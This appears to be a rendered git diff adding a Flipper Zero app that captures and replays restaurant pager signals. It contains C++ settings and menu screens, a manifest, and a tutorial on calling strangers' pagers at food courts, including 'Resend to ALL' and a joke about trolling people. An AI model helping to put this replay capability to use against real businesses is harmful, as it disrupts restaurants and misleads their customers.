menu->SetOnDestroyHandler(HANDLER(&SelectCategoryScreen::destory));
|
||||
|
||||
if(canCreateNew) {
|
||||
menu->AddItem("+ Create NEW", HANDLER_1ARG(&SelectCategoryScreen::createNew));
|
||||
}
|
||||
|
||||
if(categoryType == User) {
|
||||
menu->AddItem("<Default/Uncategorized>", [categoryType, categorySelectedHandler](uint32_t) {
|
||||
return categorySelectedHandler(categoryType, NULL);
|
||||
});
|
||||
}
|
||||
|
||||
AppFileSysytem().GetCategories(&categories, categoryType);
|
||||
for(char* category : categories) {
|
||||
addCategory(category);
|
||||
}
|
||||
}
|
||||
|
||||
UiView* GetView() {
|
||||
return menu;
|
||||
}
|
||||
|
||||
private:
|
||||
void createNew(uint32_t) {
|
||||
if(categoryAddedName != NULL) {
|
||||
categorySelectedHandler(categoryType, categoryAddedName);
|
||||
return;
|
||||
}
|
||||
if(nameInput == NULL) {
|
||||
nameInput = new TextInputUiView("Enter category name", MIN_CAT_NAME_LENGTH, MAX_CAT_NAME_LENGTH);
|
||||
nameInput->SetOnDestroyHandler([this]() { this->nameInput = NULL; });
|
||||
nameInput->SetResultHandler(HANDLER_1ARG(&SelectCategoryScreen::addAndSelectCategory));
|
||||
}
|
||||
UiManager::GetInstance()->PushView(nameInput);
|
||||
}
|
||||
|
||||
void addCategory(char* name) {
|
||||
menu->AddItem(name, [this, name](uint32_t) { return this->categorySelectedHandler(this->categoryType, name); });
|
||||
}
|
||||
|
||||
void addAndSelectCategory(char* name) {
|
||||
categoryAddedName = name;
|
||||
menu->SetItemLabel(0, name);
|
||||
UiManager::GetInstance()->PopView(true);
|
||||
}
|
||||
|
||||
void destory() {
|
||||
while(!categories.empty()) {
|
||||
delete[] categories.front();
|
||||
categories.pop_front();
|
||||
}
|
||||
|
||||
if(nameInput != NULL) {
|
||||
delete nameInput;
|
||||
}
|
||||
|
||||
delete this;
|
||||
}
|
||||
};
|
||||
177
applications/system/FZ-ChiefCooker/app/screen/SettingsScreen.hpp
Normal file
@@ -0,0 +1,177 @@
|
||||
#pragma once
|
||||
|
||||
#include "SelectCategoryScreen.hpp"
|
||||
#include "app/AppConfig.hpp"
|
||||
#include "app/pager/PagerReceiver.hpp"
|
||||
#include "lib/String.hpp"
|
||||
#include "lib/hardware/subghz/SubGhzModule.hpp"
|
||||
#include "lib/ui/UiManager.hpp"
|
||||
#include "lib/ui/view/VariableItemListUiView.hpp"
|
||||
|
||||
class SettingsScreen {
|
||||
private:
|
||||
AppConfig* config;
|
||||
SubGhzModule* subghz;
|
||||
PagerReceiver* receiver;
|
||||
VariableItemListUiView* varItemList;
|
||||
|
||||
UiVariableItem* currentCategoryItem;
|
||||
UiVariableItem* frequencyItem;
|
||||
UiVariableItem* maxPagerItem;
|
||||
UiVariableItem* signalRepeatItem;
|
||||
UiVariableItem* ignoreSavedItem;
|
||||
UiVariableItem* autosaveFoundItem;
|
||||
UiVariableItem* debugModeItem;
|
||||
|
||||
String frequencyStr;
|
||||
String maxPagerStr;
|
||||
String signalRepeatStr;
|
||||
bool updateUserCategory;
|
||||
uint32_t categoryItemIndex;
|
||||
|
||||
public:
|
||||
SettingsScreen(AppConfig* config, PagerReceiver* receiver, SubGhzModule* subghz, bool updateUserCategory) {
|
||||
this->config = config;
|
||||
this->receiver = receiver;
|
||||
this->subghz = subghz;
|
||||
this->updateUserCategory = updateUserCategory;
|
||||
|
||||
varItemList = new VariableItemListUiView();
|
||||
varItemList->SetOnDestroyHandler(HANDLER(&SettingsScreen::destroy));
|
||||
varItemList->SetEnterPressHandler(HANDLER_1ARG(&SettingsScreen::enterPressHandler));
|
||||
|
||||
categoryItemIndex = varItemList->AddItem(
|
||||
currentCategoryItem = new UiVariableItem("Category", HANDLER_1ARG(&SettingsScreen::categoryChangedHandler))
|
||||
);
|
||||
|
||||
varItemList->AddItem(
|
||||
frequencyItem = new UiVariableItem(
|
||||
"Scan frequency",
|
||||
FrequencyManager::GetInstance()->GetFrequencyIndex(config->Frequency),
|
||||
FrequencyManager::GetInstance()->GetFrequencyCount(),
|
||||
[this](uint8_t val) {
|
||||
uint32_t freq = this->config->Frequency = FrequencyManager::GetInstance()->GetFrequency(val);
|
||||
this->subghz->SetReceiveFrequency(this->config->Frequency);
|
||||
return frequencyStr.format("%lu.%02lu", freq / 1000000, (freq % 1000000) / 10000);
|
||||
}
|
||||
)
|
||||
);
|
||||
|
||||
varItemList->AddItem(
|
||||
maxPagerItem = new UiVariableItem(
|
||||
"Max pager value",
|
||||
config->MaxPagerForBatchOrDetection - 1,
|
||||
UINT8_MAX,
|
||||
[this](uint8_t val) {
|
||||
this->config->MaxPagerForBatchOrDetection = val + 1;
|
||||
return maxPagerStr.fromInt(this->config->MaxPagerForBatchOrDetection);
|
||||
}
|
||||
)
|
||||
);
|
||||
|
||||
varItemList->AddItem(
|
||||
signalRepeatItem = new UiVariableItem(
|
||||
"Times to repeat signal",
|
||||
config->SignalRepeats - 1,
|
||||
UINT8_MAX,
|
||||
[this](uint8_t val) {
|
||||
this->config->SignalRepeats = val + 1;
|
||||
return signalRepeatStr.fromInt(this->config->SignalRepeats);
|
||||
}
|
||||
)
|
||||
);
|
||||
|
||||
varItemList->AddItem(
|
||||
ignoreSavedItem = new UiVariableItem(
|
||||
"Saved stations",
|
||||
config->SavedStrategy,
|
||||
SavedStationStrategyValuesCount,
|
||||
[this](uint8_t val) {
|
||||
this->config->SavedStrategy = static_cast<enum SavedStationStrategy>(val);
|
||||
return savedStationsStrategy(this->config->SavedStrategy);
|
||||
}
|
||||
)
|
||||
);
|
||||
|
||||
varItemList->AddItem(
|
||||
autosaveFoundItem = new UiVariableItem(
|
||||
"Autosave found signals",
|
||||
config->AutosaveFoundSignals,
|
||||
2,
|
||||
[this](uint8_t val) {
|
||||
this->config->AutosaveFoundSignals = val;
|
||||
return boolOption(val);
|
||||
}
|
||||
)
|
||||
);
|
||||
}
|
||||
|
||||
UiView* GetView() {
|
||||
return varItemList;
|
||||
}
|
||||
|
||||
private:
|
||||
void enterPressHandler(uint32_t index) {
|
||||
if(index != categoryItemIndex) {
|
||||
return;
|
||||
}
|
||||
UiManager::GetInstance()->PushView(
|
||||
(new SelectCategoryScreen(false, User, HANDLER_2ARG(&SettingsScreen::categorySelected)))->GetView()
|
||||
);
|
||||
}
|
||||
|
||||
void categorySelected(CategoryType, const char* category) {
|
||||
if(config->CurrentUserCategory != NULL) {
|
||||
delete config->CurrentUserCategory;
|
||||
}
|
||||
config->CurrentUserCategory = category != NULL ? new String("%s", category) : NULL;
|
||||
UiManager::GetInstance()->PopView(false);
|
||||
currentCategoryItem->Refresh();
|
||||
}
|
||||
|
||||
const char* categoryChangedHandler(uint8_t) {
|
||||
const char* category = config->GetCurrentUserCategoryCstr();
|
||||
if(category == NULL) {
|
||||
category = "Default";
|
||||
}
|
||||
return category;
|
||||
}
|
||||
|
||||
const char* boolOption(uint8_t value) {
|
||||
return value ? "ON" : "OFF";
|
||||
}
|
||||
|
||||
const char* savedStationsStrategy(SavedStationStrategy value) {
|
||||
switch(value) {
|
||||
case IGNORE:
|
||||
return "Ignore";
|
||||
|
||||
case SHOW_NAME:
|
||||
return "Show name";
|
||||
|
||||
case HIDE:
|
||||
return "Hide";
|
||||
|
||||
default:
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
|
||||
void destroy() {
|
||||
config->Save();
|
||||
if(updateUserCategory) {
|
||||
receiver->SetUserCategory(config->CurrentUserCategory);
|
||||
receiver->ReloadKnownStations();
|
||||
}
|
||||
|
||||
delete currentCategoryItem;
|
||||
delete frequencyItem;
|
||||
delete maxPagerItem;
|
||||
delete signalRepeatItem;
|
||||
delete ignoreSavedItem;
|
||||
delete autosaveFoundItem;
|
||||
delete debugModeItem;
|
||||
|
||||
delete this;
|
||||
}
|
||||
};
|
||||
17
applications/system/FZ-ChiefCooker/application.fam
Normal file
@@ -0,0 +1,17 @@
|
||||
# For details & more options, see documentation/AppManifests.md in firmware repo
|
||||
|
||||
App(
|
||||
appid="chief_cooker", # Must be unique
|
||||
name="Chief Cooker", # Displayed in menus
|
||||
apptype=FlipperAppType.EXTERNAL,
|
||||
entry_point="chief_cooker_app",
|
||||
stack_size=2 * 1024,
|
||||
fap_category="Sub-GHz",
|
||||
# Optional values
|
||||
# fap_version="0.1",
|
||||
fap_icon="chief_cooker.png", # 10x10 1-bit PNG
|
||||
# fap_description="A simple app",
|
||||
fap_author="Denr01",
|
||||
fap_weburl="https://github.com/denr01/FZ-ChiefCooker",
|
||||
fap_icon_assets="images", # Image assets to compile for this application
|
||||
)
|
||||
13
applications/system/FZ-ChiefCooker/chief_cooker.cpp
Normal file
@@ -0,0 +1,13 @@
|
||||
/* generated by fbt from .png files in images folder */
|
||||
#include <chief_cooker_icons.h>
|
||||
|
||||
#include "app/App.hpp"
|
||||
|
||||
extern "C" int32_t chief_cooker_app(void* p) {
|
||||
UNUSED(p);
|
||||
|
||||
App app;
|
||||
app.Run();
|
||||
|
||||
return 0;
|
||||
}
|
||||
BIN
applications/system/FZ-ChiefCooker/chief_cooker.png
Normal file
|
After Width: | Height: | Size: 390 B |
0
applications/system/FZ-ChiefCooker/images/.gitkeep
Normal file
127
applications/system/FZ-ChiefCooker/instructions/instructions.md
Normal file
@@ -0,0 +1,127 @@
|
||||
# Usage instructions
|
||||
|
||||
## Installation
|
||||
To install this app simply download the `.fap` file from [latest release](https://github.com/denr01/FZ-ChiefCooker/releases/latest).
|
||||
|
||||
Then just copy it to your flipper (to `ext/apps/Sub-GHz` folder).
|
||||
|
||||
On your flipper, open up Apps -> Sub-GHz and you should see it there. Just open it as a regular app.
|
||||
|
||||
## Tutorial
|
||||
|
||||
### Your first use
|
||||
Imagine you are on a food court you want to become chief on.
|
||||
|
||||
First, open the app and select "Scan for station signals".
|
||||
|
||||
The app will start receiving signals and show you once it receives something
|
||||
|
||||
<img src="screenshots/main-scan.png" width="256"> <img src="screenshots/scan-empty.png" width="256"> <img src="screenshots/scan-capture1.png" width="256">
|
||||
|
||||
Okay, now you received something. Now, let's test if transmission decoded correctly and find the restaurant who sent the transmission!
|
||||
|
||||
To do this, click on center button (actions) and select the first one, "Resend to ALL":
|
||||
|
||||
<img src="screenshots/scan-capture1-actions.png" width="256"> <img src="screenshots/scan-capture1-resend.png" alt="Description" width="256">
|
||||
|
||||
Where are they all running? Is the dinner ready yet? Unfortunately it's not. Just their new chief is learning...
|
||||
|
||||
Let's assume that you somehow found out, that it was a restaurant called "Street Food" who sent the signal. Now let's save it's signal to your SD card.
|
||||
|
||||
Go back from actions and push the "Edit >" (right arrow) button. Then scroll down to "Save signal as...", give it a name and then create a new category for it. It's convenient to use restaurant name for signal name and mall (or food court/place name where restaurant are located) for the category name to make sure that signals from different places will not mess up.
|
||||
|
||||
<img src="screenshots/scan-capture1.png" width="256"> <img src="screenshots/scan-capture1-edit-save.png" width="256"> <img src="screenshots/scan-capture1-save-name.png" width="256">
|
||||
|
||||
<img src="screenshots/scan-capture1-categories.png" width="256"> <img src="screenshots/scan-capture1-category-name.png" width="256"> <img src="screenshots/scan-capture1-categories-with-new.png" width="256">
|
||||
|
||||
Congratulations! Your saved your first captured signal and now can use it anytime you want to call someone to the restaurant's food pickup.
|
||||
|
||||
But it would be great now to distinguish the signals from "Street Food" from the other ones. And you can do it!
|
||||
|
||||
Navigate to "< Config" (left button) and select the category to the newly created one. Then go back.
|
||||
|
||||
<img src="screenshots/scan-capture1.png" width="256"> <img src="screenshots/scan-capture1-config.png" width="256"> <img src="screenshots/scan-capture1-conf-select-cat.png" width="256">
|
||||
|
||||
<img src="screenshots/scan-capture1-conf-cat-selected.png" width="256"> <img src="screenshots/scan-capture1-with-name.png" width="256">
|
||||
|
||||
As you can see, now instead of hex value and station number there is a restaurant name you given to the signal.
|
||||
|
||||
And what's this? A new signal? Yes, but not completely new. Street Food just called pager with another number (7). But your flipper successfully recognized their signal because you already saved one to the current category and showed you it's name.
|
||||
|
||||
<img src="screenshots/scan-capture2.png" width="256">
|
||||
|
||||
### Your second use
|
||||
|
||||
Now imagine you came to the same food court next day and want to call somebody's pager at the Street Food restaurant (that your saved yesterday).
|
||||
|
||||
Navigate to "Saved stations" and then select the category of current place / mall / food court:
|
||||
|
||||
<img src="screenshots/main-saved.png" width="256"> <img src="screenshots/saved-by-you.png" width="256"> <img src="screenshots/scan-capture1-categories-with-new.png" width="256">
|
||||
|
||||
Here your will see your saved signal:
|
||||
|
||||
<img src="screenshots/saved-category.png" width="256">
|
||||
|
||||
Now your can do with it whatever you want exactly like when you captured it.
|
||||
|
||||
Let's assume now you need to call only single pager with number 9.
|
||||
|
||||
Go to "Edit >" menu, scroll down to "Pager" and change it value to 9. Now just press center button. Your flipper will blink purple LED - like when you were resending to all pagers, remember? This means that it sent the signal.
|
||||
|
||||
<img src="screenshots/pager-9.png" width="256">
|
||||
|
||||
Now imagine we want to receive more signals here. There are two ways to do it:
|
||||
- Go to "Scan" menu like on your first usage
|
||||
- Click on "Scan here for more".
|
||||
|
||||
The second way is better because you will have all you previously saved signals in quick access in cause you urgently need one of them. New signals will appear here once your flipper receive them.
|
||||
|
||||
<img src="screenshots/saved-category-scan-here.png" width="256"> <img src="screenshots/saved-category-scanning.png" width="256"> <img src="screenshots/saved-category-scanning-new.png" width="256">
|
||||
|
||||
Congratulations! You have successfully completed the tutorial! ~~Now go and troll someone real.~~
|
||||
|
||||
## App's screens explanation
|
||||
|
||||
### Scan stations screen
|
||||
|
||||
<img src="screenshots/scan-capture1.png" width="256">
|
||||
|
||||
The values here are:
|
||||
- `CBC042` - signal hex code
|
||||
- `815` - station number (in current encoding)
|
||||
- `4` - pager number (in current encoding)
|
||||
- `RING` - action (in current encoding)
|
||||
- `x8` - number of signal repeats, will not show more than `x99`
|
||||
|
||||
_Note: if you change the signal's encoding in "Edit" menu, station number, pager and action here will also change._
|
||||
|
||||
### Edit station screen
|
||||
|
||||
There are several things you can edit in captured signal using "Edit >" menu.
|
||||
|
||||
First thing is **encoding**. App tries to detect encoding automatically when it receives signal. But in some cases you may need to specify it manually. Here you can change the encoding and see how the values (station number, pager number and action) are changing in real-time:
|
||||
|
||||
<img src="screenshots/edit-decode-1.png" width="256"> <img src="screenshots/edit-decode-2.png" width="256"> <img src="screenshots/edit-decode-3.png" width="256">
|
||||
|
||||
Also you may need to change pager or action value. You can do it here and see how the hex value changes in real time:
|
||||
|
||||
<img src="screenshots/edit-pager-1.png" width="256"> <img src="screenshots/edit-pager-2.png" width="256">
|
||||
|
||||
_Note: pager number is editable only if it's decoded value is less than 255 in current encoding_
|
||||
|
||||
**Also note: pressing the center button on anywhere on the edit screen (except for save as / delete options) will trigger signal transmission with current pager/action/hex value!**
|
||||
|
||||
### Config screen
|
||||
|
||||
<img src="screenshots/scan-capture1-config.png" width="256">
|
||||
|
||||
Here some description about config parameters:
|
||||
- **Category** - the category to load saved station names from. Does not affect if you use option "Scan here for more" in saved stations screen.
|
||||
- **Scan frequency** - the frequency to receive signals on. For EU/Russia default is 433.92 Mhz, but 315.00 Mhz and 467.75 Mhz may be also used in US or somewhere else.
|
||||
- **Max pager value** - how many pagers should signal be sent to when using "Resend to ALL" action. Also affects automatic encoding detection feature: the algorithm will use the first encoding which will give a pager number less or equal than current setting value.
|
||||
- **Times to repeat signal** - speaks for itself, don't recommend changing it as the default value (10) should work in most cases.
|
||||
- **Saved stations** - what to do when receive a signal from known station (saved in current category). Possible values are:
|
||||
1. **Ignore** - treat station as unknown, show signal hex and station number.
|
||||
2. **Show name** (default) - show saved station name instead of hex value and station number
|
||||
3. **Hide** - do not show signals from saved stations at all. Show only unknown signals
|
||||
- **Autosave found signals** - any found signals will be saved to "Autosaved" folder in the subdirectory with current date. Useful in case app crashes or you accidentally close it without saving.
|
||||
|
After Width: | Height: | Size: 1.8 KiB |
|
After Width: | Height: | Size: 1.9 KiB |
|
After Width: | Height: | Size: 1.9 KiB |
|
After Width: | Height: | Size: 1.9 KiB |
|
After Width: | Height: | Size: 1.9 KiB |
|
After Width: | Height: | Size: 1.9 KiB |
|
After Width: | Height: | Size: 1.9 KiB |
|
After Width: | Height: | Size: 1.8 KiB |
|
After Width: | Height: | Size: 1.6 KiB |
|
After Width: | Height: | Size: 1.7 KiB |
|
After Width: | Height: | Size: 1.8 KiB |
|
After Width: | Height: | Size: 1.7 KiB |
|
After Width: | Height: | Size: 1.7 KiB |
|
After Width: | Height: | Size: 2.0 KiB |
|
After Width: | Height: | Size: 1.9 KiB |
|
After Width: | Height: | Size: 1.9 KiB |
|
After Width: | Height: | Size: 2.2 KiB |
|
After Width: | Height: | Size: 2.1 KiB |
|
After Width: | Height: | Size: 1.8 KiB |
|
After Width: | Height: | Size: 2.1 KiB |
|
After Width: | Height: | Size: 1.9 KiB |
|
After Width: | Height: | Size: 1.4 KiB |
|
After Width: | Height: | Size: 2.2 KiB |
|
After Width: | Height: | Size: 1.6 KiB |